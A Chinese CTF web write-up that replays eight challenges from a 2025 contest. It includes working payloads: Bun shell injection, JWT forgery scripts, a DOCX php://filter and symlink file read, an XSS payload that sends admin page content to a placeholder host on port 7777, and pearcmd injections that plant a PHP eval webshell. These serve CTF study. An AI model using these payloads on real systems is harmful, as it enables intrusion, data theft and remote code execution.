0%

2025第九届封神台CTF|WEB|复现

前言:

感觉这次的难度比第八届难,也是成功爆零了(好久没有这种坐牢的感觉了)。但是复现的时候其实感觉有几道题还是能做的出来的只是当时没有看就死专着一题不放(小比赛的老毛病了)

EzPyeditor

描述:我开发了一个在线python编辑器,它能够指出你的语法错误,而且实现的代码量极少,我真的是个天才! 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:ast.parse()traceback.format_exc()报错堆栈信息导致的文件泄露

当时在这题卡了半天没打出来

按我当时做题的思路,首先源码里有两个py文件,一个app.pysecret.py

先看secret.py,可以看到将flag赋值为了环境变量也就是我们最终要得到的flag。所以此时我就有一个思路——运行这个文件从而得到flag

再看主工作文件app.py,check路由中有两个可疑的函数ast.parse()traceback.format_exc()

当时查了一下这两个函数

1
2
3
ast.parse(source, filename='<unknown>', mode='exec', *, type_comments=False, feature_version=None, optimize=-1):解析包含语法错误的代码时,会抛出SyntaxError异常

traceback.format_exc( limit = None , chain = True ):获取堆栈追踪的字符串描述。很像print_exc(limit),但是返回一个字符串而不是打印到文件。

查看后,我就有一个更进一步的思路——通过构造恶意输入触发异常,使 traceback.format_exc() 返回的堆栈信息中包含敏感文件内容或代码执行结果。

但是当时构造了半天也没有构造出来,赛后看了一下wp确实就是我的这个思路了。就是利用ast.parse()进行一个文件读取,并且故意触发异常从而通过traceback.format_exc()返回文件内容(当时比赛的时候其实我也试过了,但是没有读取到/etc/passwd我就没有进一步尝试了,现在看看wp的poc我感觉当时我应该是没有注意到报错里面其实已经有/etc/passwd的内容了)

默认参数是source,利用filename参数指定目标文件文件

1
2
3
4
{
"source":"1(",
"filename":"/etc/passwd"
}

可以看到我这里只触发了line 1报错,所以只读取到了/etc/passwd的line 1

读取secret.py,这里要触发line 6报错

1
2
3
4
{
"source":"1(\n1(\n1(\n1(\n1(\n1(",
"filename":"secret.py"
}

这里还有一个很细节的点(我是第一次尝试就用(来报错所以没有考虑到)

1
2
3
':语法错误发生在源代码解析阶段,词法错误。Python立即报错,错误在词法分析阶段就被捕获,不继续解析,不显示上下文。

(:语法错误发生在代码执行阶段,语法错误。Python需要解析更多内容来确定错误性质,错误在语法分析后期才被发现,此时会显示错误位置的周围内容,从而显示上下文。

EzEcho

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:Bun内部shell注入、Bash运算符重定向命令

这题看这篇文章就可以做了 浅谈 Bun 内部shell注入

观察源码可以发现很明显是Bun的一个命令执行

 2025-09-21 200601.png

利用反引号进行命令执行

1
`ls`

但是这里进行cat的时候发现被转义了

 2025-09-21 201013.png

利用bash运算符重定向命令进行绕过

1
`cat<flag`

发现flag和f4444文件里只有一个/readflag,发现还有一个flag.sh读取看看

可以看到还是/readflag,那么运行一下这个flag.sh文件试试

1
`sh<flag.sh`

直接就可以得到flag了

 2025-09-21 202043.png

EzGrades

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:jwt登录验证逻辑绕过

先看网站,有一个注册界面,随便先注册一个号登录看看

探索了一下啥也没有

题目给了源码,那么接着就来观察源码,最主要的就是两个py文件

1
2
auth.py:主要是jwt的加密解密逻辑以及登录验证逻辑
routes.py:主要就是网站的路由设计

进一步分析,可以在routes.py看到要得到flag就需要教师的身份然后访问/grades_flag即可得到

那么跟进到auth.pyis_teacher_role()

我们只需要将is_teacher赋值为true即可,但是我们这里并不知道用于jwt加密的SECRET_KEY是什么,那么我们就根据他给的加密逻辑来直接生成token

直接抓包/signup接着添加参数is_teacher

用得到的token访问/grades_flag即可得到flag

EzReveal

描述:散装英语:have you any secret in the word?give me word and i will back you secret in the word. flag 在 /flag.txt 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:word文档文件读取(代码审计逻辑漏洞)、php伪协议、软链接绕过open_basedir

进入网站就是一个文件上传,随便上传个文件发现只能上传word文档

题目给了源码,那就代码审计一下

代码对上传文件类型进行了一个限制——只能上传word文档,并且是写死了的基本无法绕过,那么看到这里可以猜测有可能是word文档的xxe注入

接着往下看,simplexml_load_string()会对word中的word/_rels/document.xml.rels进行xml解析,但是打到这里我查资料发现这个文件并不能够打xxe注入。。。

进一步分析代码,可以看到一个file_get_contents()读取$filename,这里如果构造word/_rels/document.xml.rels的Relationship标签里的内容,给Type赋值为http://schemas.openxmlformats.org/officeDocument/2006/relationships/image,给Target赋值为media/php://filter/resource=./flag.txt,这样substr会将media/给截断从而实现file_get_contents(php://filter/resource=./flag.txt)读取根目录的flag文件。接着往下看代码还对$file进行了一个zlib_decode那么我们最终要得到message就需要在读取flag.txt时对其进行加密,所以构造如下

1
2
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/php://filter/zlib.deflate/resource=./flag.txt"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/></Relationships>

接着再打包为docx上传,但是发现居然还是没有读到flag

再仔细观察代码发现还有个open_basedir限制了目录穿越,那么这里也是尝试用软链接将当前所在的media目录链接到根目录再读取flag.txt

1
2
3
4
5
6
7
8
9
//word/_rels/document.xml.rels
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/php://filter/zlib.deflate/resource=flag.txt"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/></Relationships>

//创建软链接
ln -s / media

//打包为docx
zip -r --symlinks 1.docx *

接着上传这个1.docx即可得到flag

c

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:php和flask框架参数污染

观察app.py,可以看到一个登录验证的逻辑。

admin用户的密码被md5加密并存储在数据库中

查看数据库很明显能看出密码是admin

登录发现报错需要本地才能登录,尝试用XFF但是并没办法绕过

看了一下报错发现在app.py中找不到,再仔细观察一下代码结构发现还有个index.php,里面也有一个身份验证的逻辑

那么这里首先要关注的第一个点就是当php使用POST请求存在重复参数时,取最后一个值;第二个点就是php://input会读取原始的HTTP请求体(包含所有参数)

那么这里我们就可以利用参数污染来实现登录验证的绕过

在PHP端处理:

  • $_POST['username'] = “111” (取最后一个)
  • $_POST['password'] = “123456” (取最后一个)
  • Check_Admin("111") = false → 通过检查!
  • 发送原始数据到Flask:username=admin&password=admin&username=111&password=123456&login-submit=

在Flask端处理:

  • request.form.get('username') = “admin” (Flask可能取第一个或最后一个,取决于实现)
  • request.form.get('password') = “admin”
  • 使用”admin”/“admin”进行数据库认证 → 成功!
1
username=admin&password=admin&username=111&password=123456&login-submit=

EzBase

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:xss外部链接请求越权获取源码

进入后发现需要登录才能使用其他功能,先随便注册个普通用户登录,登录后有一个加密功能以及一个发送编码id给管理员。

暂时没有思路,题目给了源码审计一下

可以看到我们最终的目的就是要从encodings这张表中的text字段获取到flag

接着分析,从源码中可以分析出主要路由的作用

/create:对用户输入进行base91加密并存储

/e/{id}:显示指定编码id存储的内容

/report:只有admin用户可以使用,调用adminbot.js让admin查看用户内容

根据三个路由的功能可以猜测可能存在xss注入

再次观察代码,flag是需要以管理员登录后访问特定的id才能够看到,但是管理员密码未知也无法伪造。还有一个关键的点是普通用户查看id时没有任何限制的只需要有对应的id即可,但是我们并不知道flag对应的id是什么。所以现在的思路有一种就是利用xss漏洞来请求管理员的首页源码从而获取到flag指定的id,然后访问这个id即可获取到flag

先用脚本将xss的payload进行base91解密(注意payload中的符号都要用url编码因为based1不识别这些符号)

1
2
3
4
5
6
import based91

res = based91.decode("<iframe/src=\"javascript%3Afetch%28%27%2F%27%29%2Ethen%28r%3D%3Er%2Etext%28%29%29%2Ethen%28s%3D%3E%7Bnew%20Image%28%29%2Esrc%3D%60http%3A%2F%2F<host>%3A7777%2Fget%5Fcookie%3Fcookie%3D%24%7BencodeURIComponent%28s%2Esubstring%280%2c2000%29%29%7D%60%7D%29%2Ecatch%28console%2Eerror%29%3B\">link</iframe>abc")

print(res.hex())
print(based91.encode(res))

服务器端使用nc监听7777

接着把上面脚本生成的编码到create中进行加密(注意不要有回车)

但是这里我尝试了好久都没有打通,服务端永远都接收不到(猜测可能是CSP的问题但是用各种方法都绕不过去)

最后也是放弃了,用wp中别人获取到的来糊弄了。。。(如果有打通的佬球球教一下)

EzJWT

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:JWT算法混淆绕过签名验证

进入后发现Authentication failed再加上JWT可以初步猜测应该是要伪造身份通过身份验证

题目给了源码,直接代码审计

index.js中能看到最终需要通过admin的验证才能获取到flag

先在源码基础上改一个生成token的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const crypto = require('crypto');

const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}

const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}

const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');

const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);

return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
const header = {
alg: alg,
typ: 'JWT'
}

const signature = createSignature(header, payload, secret);

const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}

const secret = require('crypto').randomBytes(32).toString('hex');
const token = sign('HS512', { isAdmin: true }, secret);

console.log(token);

这样生成的token是利用hs512算法对签名进行加密。但是由于secret并没有固定所以始终无法得到对应的token以至于无法匹配通过验证。

这里就需要利用到算法混淆来绕过签名验证,可以观察这里的算法其实是可以自己指定的,并不一定就一定需要用题目给的hs256或者hs512。

更改alg的值为constructor

此时的签名(signature)的生成逻辑const signature = algorithms[header.alg.toLowerCase()](data, secret);实际上是const signature = algorithms[’constructor‘](data, secret);,由于 algorithms 对象没有 constructor 属性,JavaScript 会返回 Object 构造函数。调用 Object(data, secret) ,而Object(data, secret) 实际上返回的是 data 的字符串包装对象,当这个对象被转换为字符串时,又变回了原始的 data 字符串(这里会有点难理解)

1
2
3
4
5
6
7
8
9
10
11
12
const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}

const data = "eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ";

const secret = require('crypto').randomBytes(32).toString('hex');

const result = Object(data, secret);

console.log(base64UrlDecode(data));
console.log(base64UrlDecode(result));

所以此时我们可以改脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
const crypto = require('crypto');

const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}

const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}

const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');

const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);

return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
const header = {
alg: 'constructor',
typ: 'JWT'
}

const signature = createSignature(header, payload, secret);

const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}

const secret = require('crypto').randomBytes(32).toString('hex');
const token = sign('HS512', { isAdmin: true }, secret);

console.log(token);

//eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ

data是由header和payload的base64Url编码字符串用点连接而成,所以这里的signature=data=header.payload。所以此时生成的token结构为header.payload.header.payload由于jwt的结构是header.payload.signature三部分组成所以.是可以去除的(代码中.base64UrlDecode并没有影响)

所以最终的token为

1
eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ

那么接下来来分析一下验证的逻辑(其实跟生成逻辑一样的)

我们输入token后,会经过以下过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const data = "eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ";

const calculated_signature = algorithms['constructor'](data, secret);
// 返回 data 本身:"eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ"

// 计算出的签名
calculated_signature = "eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ"

// 期望的签名(去掉点后的组合)
expected_signature = "eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ"

// 转换为 Buffer 比较
Buffer.from(calculated_signature, 'base64')
// 解码为: {"alg":"constructor","typ":"JWT"}{"isAdmin":true}

Buffer.from(expected_signature, 'base64')
// 解码为: {"alg":"constructor","typ":"JWT"}{"isAdmin":true}

所以以上就是全过程思路了(不得不说官方给的wp有点水了,理解了好半天)

最终输入token即可得到flag

EzPhp

描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录

考点:pearcmd文件包含漏洞(数据流写入+base64+标签闭合)

代码审计,其实就是一个文件包含,但是要经过安全检测(猜测黑名单限制了zip协议和php伪协议以及)。关键的两个地方——一个是给了一个GET请求参数xiebro并且会自动在末尾加上.php后缀,其次就是只能读取文件内容开头前5位是<?php的文件。

那么根据这个基本上是没办法直接通过文件包含拿到flag的。

换个思路,查看一下phpinfo的内容,发现环境中配置了pear命令(可能存在pearcmd文件包含漏洞)

pearcmd文件包含漏洞的利用条件:

1.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php

2.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)

3.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。

先来查看一下pearcmd.php文件的路径,尝试直接读取这个文件发现是存在的(如果文件不存在就会返回phpinfo.php

接着查看register_argc_argv选项是否开启

利用条件都符合,那么接下来就开始漏洞利用

1
?xiebro=/usr/local/lib/php/pearcmd&+config-create+/<?=eval($_REQUEST['shell'])?>+/tmp/shell.php

接着就是文件包含,这里用php伪协议读取文件,但是由于p:被过滤了

可以用ph%70绕过

1
/?xiebro=ph%70://filter/resource=/tmp/shell

但是打到这里发现读取文件没法执行命令,返回查看发现文件内容被作为路径值了(如果直接在页面查看还可以发现<>被进行url编码)

使用base64,发现还是不成功,还是以路径的形式

尝试用?><?前后闭合发现不成功

问了ai后发现还可以用数据流的形式

于是可以构造?><?php eval($_REQUEST['shell'])?><?但是发现还是不行

接着构造,将<?php eval($_REQUEST['shell'])?>进行进行一层base64加密后再包裹起来进行base64加密,结果发现还是不行。

最后我发现了个很艹蛋的两个点,我上面的尝试全是白费的。。。一个是文件名不能使用shell.php,第二个点是不能使用REQUEST请求(想不明白一点)

最后也是放上我的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//原始payload
<?php eval($_POST["1asgf9"]);?>

//第一层base64+包裹上?><?闭合
?>PD9waHAgZXZhbCgkX1BPU1RbIjFhc2dmOSJdKTs/Pg<?

//第二层base64
Pz5QRDl3YUhBZ1pYWmhiQ2drWDFCUFUxUmJJakZoYzJkbU9TSmRLVHMvUGc8Pw

//以数据流的形式写入
/?xiebro=/usr/local/lib/php/pearcmd&+-c+/tmp/111.php+-d+man_dir=Pz5QRDl3YUhBZ1pYWmhiQ2drWDFCUFUxUmJJakZoYzJkbU9TSmRLVHMvUGc8Pw+-s+

//读取
/?xiebro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/111

写入后连接蚁剑发现连接成功

进入后发现flag需要root权限,发现目录里还有一个readflag文件,根据经验直接执行发现成功越权得到flag

后面我去看了一下发现shell文件确实是写入了,但是一模一样的文件内容在里面就是会以路径的形式写入我也不清楚为啥,也是很艹蛋了,我以后绝对不用shell做文件名了。。。